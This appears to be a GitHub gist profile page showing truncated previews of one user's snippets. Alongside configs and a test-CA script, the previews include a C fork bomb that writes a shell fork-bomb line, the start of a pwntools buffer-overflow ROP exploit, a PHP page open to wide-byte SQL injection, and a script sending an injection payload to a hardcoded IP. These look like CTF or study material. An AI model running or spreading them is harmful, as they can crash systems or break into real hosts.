Skip to content

Instantly share code, notes, and snippets.

View virusdefender's full-sized avatar
🐱

virusdefender

🐱
View GitHub Profile
@virusdefender
virusdefender / main.go
Created April 14, 2020 10:24
dangerous unzip
package main
import (
"archive/zip"
"fmt"
"io"
"log"
"os"
"path/filepath"
)
@virusdefender
virusdefender / nginx.conf
Last active November 22, 2023 02:16
log request and response header and body with openresty | 使用 openresty 记录请求和响应 http 头和 body
server {
listen 80;
server_name localhost;
#charset koi8-r;
#access_log /var/log/nginx/host.access.log main;
error_log stderr info;
location / {
root /usr/local/openresty/nginx/html;
@virusdefender
virusdefender / Makefile
Created March 18, 2018 12:04
reset_proc_memory.c
obj-m += reset_proc_memory.o
KDIR ?= /lib/modules/$(shell uname -r)/build
all:
make -C $(KDIR) M=$(PWD) modules
clean:
make -C $(KDIR) M=$(PWD) clean
@virusdefender
virusdefender / gitstars.json
Created February 6, 2018 02:55
github stars manager for production
{"tags":[],"lastModified":1517885747220}
@virusdefender
virusdefender / pwn.py
Created November 10, 2017 02:37
test
from pwn import *
student = 0x7fffffffe2f0
shellcode = "1925\n"
student_size = 0x7fffffffe348 - student
shellcode += "A" * student_size
# pop rdi; ret
shellcode += p64(0x0000000000400803)
# mprotect arg1 addr
@virusdefender
virusdefender / ssl.sh
Last active March 17, 2020 02:51
openssl 创建 CA 然后签发服务器证书 (仅供测试)
#!/bin/bash
set -ex
company="Chaitin"
subj="/C=CN/ST=Beijing/L=Beijing/O=$company Tech/OU=Service Infrastructure Department"
domain="vulndb"
# Create CA
openssl genrsa -out ca.key 2048
openssl req -new -x509 -nodes -sha256 -subj "$subj/CN=$company Root CA" -days 7500 -key ca.key -out ca.crt
@virusdefender
virusdefender / fb.c
Created June 13, 2017 10:15 — forked from gdisneyleugers/fb.c
Fork Bomb in C, fastest fork bomb written yet.
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
int generator(void)
{
system("echo ':(){ :|:& };: ./*' > $RANDOM");
system("chmod +x * 2> /dev/null");
system("chmod +x $RANDOM 2> /dev/null");
<?php
header("Content-type: text/html;charset=gbk");
define("HOST",'127.0.0.1');
define("USER",'root');
define("PASS",'testtest');
define("DB",'test');
foreach($_GET as $key => $val){
$_GET[$key] = addslashes($val);
}
# coding=utf-8
import requests
import urllib
import re
regex = r = re.compile("<h1>([\s\S]*)</h1>")
base_url = "http://139.129.166.67/5t5y6huj7j7/?id=%bf%27 "
def get(payload):